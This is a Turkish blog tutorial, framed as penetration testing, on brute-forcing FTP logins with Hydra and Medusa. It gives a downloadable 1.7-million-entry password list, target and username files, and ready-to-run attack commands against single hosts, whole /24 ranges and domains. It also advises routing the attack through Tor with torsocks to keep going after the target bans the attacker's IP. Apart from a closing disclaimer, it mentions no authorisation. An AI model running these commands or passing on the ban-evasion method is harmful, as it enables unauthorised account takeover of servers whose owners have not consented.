CentOS Blog

FTP Penetration Testi

Merhaba Arkadaşlar,

Bu makalemde sizlere Hydra ve Medusa ile FTP saldırısı yapmayı anlatacağım bu işlem tamamen penetration testi için yazılmıştır.

Arkadaşlar ilk öncelikle hydra üzerinde atak yapmayı anlatacağım sonrasında medusa ile atak yapmayı ve ayrıca tor ile çalışmasından bahsedeceğim.

Hydra üzerinden sizlere ilk önce dosya oluşturarak atak yapmayı sonrasında ise manual olarak atak yapma komutlarından bahsedeceğim.


Hydra ile dosya oluşturarak FTP atak yapma;

A) ilk öncelikle atak işlemlerinde en önemli olan şifre denemesidir. Dünya listesi olarak 1.707.467 şifre denemesi yapabilmeniz için sitemizden http://centosblog.net/passwd.txt sekmesinden indirebilirsiniz. Not: İndirme işlemini /root/ dizini yada hatırlayabileceğiniz bir dizine indirin. İndirme işlemi için aşağıdaki komutu kullanabilirsiniz.

cd root/
wget centosblog.net/passwd.txt

İsterseniz şifrelerde oynama yapabilirsiniz kendinizde bu dünya listesini geliştirebilirsiniz.  Geliştirmek için şu komutu yazıp satır, satır derlemeniz yeterli olacaktır.

nano /root/passwd.txt

Karşınıza şu şekilde bir örnek ekran çıkacak;

 nano 2.6.2                                              File: /root/passwd.txt

1q2w3e4r
00
00
000
000
0000
0000
00000
00000
000000
000000
0000000
0000000
00000000
00000000
001069
00106i57
00106ic
00106ic41
00106ic4119
00106iz3
0010n6
00119
001241i
0012d
0013mm4
0014k
001i73
001i7ic
003ci41
003cium
004n6ium
005736i73
005736i7ic
005c0p3
005c0p9
005p0120u5
                                                         [ Read 1707467 lines ]
^G Get Help      ^O Write Out     ^W Where Is      ^K Cut Text      ^J Justify       ^C Cur Pos       ^Y Prev Page     M-\ First Line
^X Exit          ^R Read File     ^\ Replace       ^U Uncut Text    ^T To Spell      ^_ Go To Line    ^V Next Page     M-/ Last Line

B) Diğer bir kısım ise hangi kullanıcılar üzerinde atak yapılması gerektiğidir. Bunun için aşağıda sizlere root/ dizini altında user.txt dosyası oluşturduk dan sonra içerisine atak yapmak istediğimiz kullanıcıları yazacağız.

1. Dosya oluşturma;
cd /root/
touch user.txt

2. Dosyayı açıp içerisine atak yapılmasını istediğimiz kullanıcı adlarını yazacağız.
nano root/user.txt

2.1 Dosyamız açıldı ve içerisine istediğimiz kullanıcı adlarını yazacağız örnek;

nano 2.6.2                                              File: /root/user.txt

root
admin
administrator
user
user1
master
                                                         [ Read 6 lines ]
^G Get Help      ^O Write Out     ^W Where Is      ^K Cut Text      ^J Justify       ^C Cur Pos       ^Y Prev Page     M-\ First Line
^X Exit          ^R Read File     ^\ Replace       ^U Uncut Text    ^T To Spell      ^_ Go To Line    ^V Next Page     M-/ Last Line

C) Son olarak atak yapılmasını istediğimiz ip adresleri ve portlar için /root/ dizini altında server.txt dosyası oluşturuyoruz.

1. Dosya oluşturma;
cd root/
touch server.txt

2. Dosyayı açıp içerisine atak yapılmasını istediğimiz ip yada domain adreslerini yazacağız.
nano root/server.txt

2.1 Dosyamız açıldı ve içerisine istediğimiz ip yada domain adreslerini yazacağız örnek;

nano 2.6.2                                              File: /root/user.txt

192.168.1.2
192.168.1.3
192.168.4.2
domain.com
domain.net
                                                         [ Read 5 lines ]
^G Get Help      ^O Write Out     ^W Where Is      ^K Cut Text      ^J Justify       ^C Cur Pos       ^Y Prev Page     M-\ First Line
^X Exit          ^R Read File     ^\ Replace       ^U Uncut Text    ^T To Spell      ^_ Go To Line    ^V Next Page     M-/ Last Line

Artık hazırlığımız tamamlanmış olup atak yapma işlemimiz kalmış oldu. Aşağıdaki komut ile atak işlemimiz başlamış oldu ve ftp şifre deneme işlemi başlamış devamlı giriş istekleri gitmeye başlanmış oluyor.

hydra -P root/passwd.txt -l robot -M /root/server.txt ftp -t 1

Atak yapmış olduğunuz sunucu ipsi banlandıysa atağınızı tor ile devam edebilirsiniz.

Tor kurma ve kullanma için aşağıdaki makalemizden destek alabilirsiniz ve kurulumdan sonra aşağıdaki komut ile saldırıya devam edebilirsiniz.

Kali Linux Tor Yükleme ve Kullanımı (üzerine tıklamanız durumunda yan sekmede açılacaktır)

torsocks hydra -P root/passwd.txt -l robot -M /root/server.txt ftp -t 1


Hydra ile FTP manual atak yapma;

A) Aşağıdaki komutlar ile birlikte tek ip üzerine tek şifre ve tek kullanıcı adına atak yapmış olacağız.

hydra -p 1q2w3e4r -l user ftp://192.168.1.1

A.1) Aşağıdaki komutlar ile birlikte ip block üzerine tek şifre ve tek kullanıcı adına atak yapmış olacağız.

hydra -p 1q2w3e4r -l user ftp://192.168.1.1/24

B) Aşağıdaki komut ile ip adresi ve port dosyasını oluşturduğumuz server.txt dosyası haricinde diğerlerini manual olarak yazarak atak yapma işlemini gerçekleştireceğiz.

hydra -p 1q2w3e4r -l user -M root/server.txt ftp

C) Aşağıdaki komut ile indirdiğimiz dünya şifre listesi passwd.txt dosyası haricinde diğerlerini manual olarak yazarak atak yapma işlemini gerçekleştireceğiz.

hydra -P root/passwd.txt -l user ftp://192.168.1.1

C.1)  Aşağıdaki komutlar ile birlikte ip block ve indirdiğimiz dünya şifre listesi passwd.txt dosyası haricinde diğerlerini manual olarak yazarak atak yapma işlemini gerçekleştireceğiz.

hydra -P root/passwd.txt -l user ftp://domain.com -t 1

Not: Atak işlemlerimizi tortorsocks ” ile yaptığımızda kendi ipmiz banlansa bile farklı ipler üzerinden atak işlemine devam edebiliriz. Ayrıca atak işleminiz başarılı olursa aşağıdaki örnek ekran görüntüsü ile alacaksınız;

root@kali:/# hydra -P root/passwd.txt -l user ftp://domain.com -t 1
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-12 20:58:26
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 1 task per 1 server, overall 64 tasks, 1707467 login tries (l:1/p:1707467), ~26679 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: domain   login: user   password: 1q2w3e4r
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-08-12 20:59:18

Medusa üzerinden FTP atak işlemleri;

Yukarıda yapılan işlemler aslında medusa’da, da aynı şekilde geçerlidir sadece birkaç komut değişikliği vardır. Sizlere medusa üzerinden FTP atak için bir kaç örnek kodlar vereceğim zaten yukarıdaki anlatım sonrası medusa üzerinde yazılan kodları kolaylıkla anlaya bileceksiniz. O yüzden detay anlatmadan sadece komutlar yazacağım size.

medusa -h 192.168.1.1 -u root -P root/passwd.txt -n 21 -M ftp
medusa -H root/server.txt -u root -P root/passwd.txt -n 21 -M ftp

Ayrıca sizlere medusa üzerinde kullandığım ve kullanabileceğiniz komutlardan bahsetmek istiyorum komutlar ve kullanım şekilleri aşağıdaki gibi;

-h  Hostname / ip olarak geçiyor bunu -H  olarak yaparsanız dosya ile tarama yaparsınız -H /root/server.txt  gibi.

-M Modül seçimi yapıyorsunuz örneğin FTP olarak varsayımda -H ftp modülleri görüntülemek için medusa -d komutunu yazmanız ve oradaki bir modülü kullanmanız yeterli olacaktir.

-n Port numarasını belirliyoruz örnek olarak -n 21

-P  Şifre dosyasını seçiyoruz bunu -p olarak girersek manual olarak yazmamız gerekir örnekler; -P root/passwd.txt  & -p 1q2w3e4r

medusa’ya ait diğer komutlar aşağıdaki gibidir;

root@kali:/# medusa
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : Target hostname or IP address
  -H [FILE]    : File containing target hostnames or IP addresses
  -u [TEXT]    : Username to test
  -U [FILE]    : File containing usernames to test
  -p [TEXT]    : Password to test
  -P [FILE]    : File containing passwords to test
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
  -M [TEXT]    : Name of the module to execute (without the .mod extension)
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                 different parameter each time and they will all be sent to the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : Use for non-default TCP port number
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
  -c [NUM]     : Time to wait in usec to verify socket is available (default 500 usec).
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to process
                 the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module's usage information
  -v [NUM]     : Verbose level [0 - 6 (more)]
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scan

Konu Hakkında Yazar ve Editör Tarafından Önemli Açıklama;

Yukarıda verilen bilgi tamamen Penetration testi için amaçlanmıştır. Saldırı tipleri ufak çaplı olarak yazılımış olup saldırı boyutu yükseltme veya saldırılar hakkında detaylı açıklama bulunmamaktadır. Sunucu veri güvenliği yükseltme ve atak yakalama tespiti için yazılmıştır. Konu hakkında centosblog.net yönetimi olarak her hangi bir sorumluluk almamaktadır.

Bir Başka Makalede Görüşmek Üzere Hoşça Kalın 🙂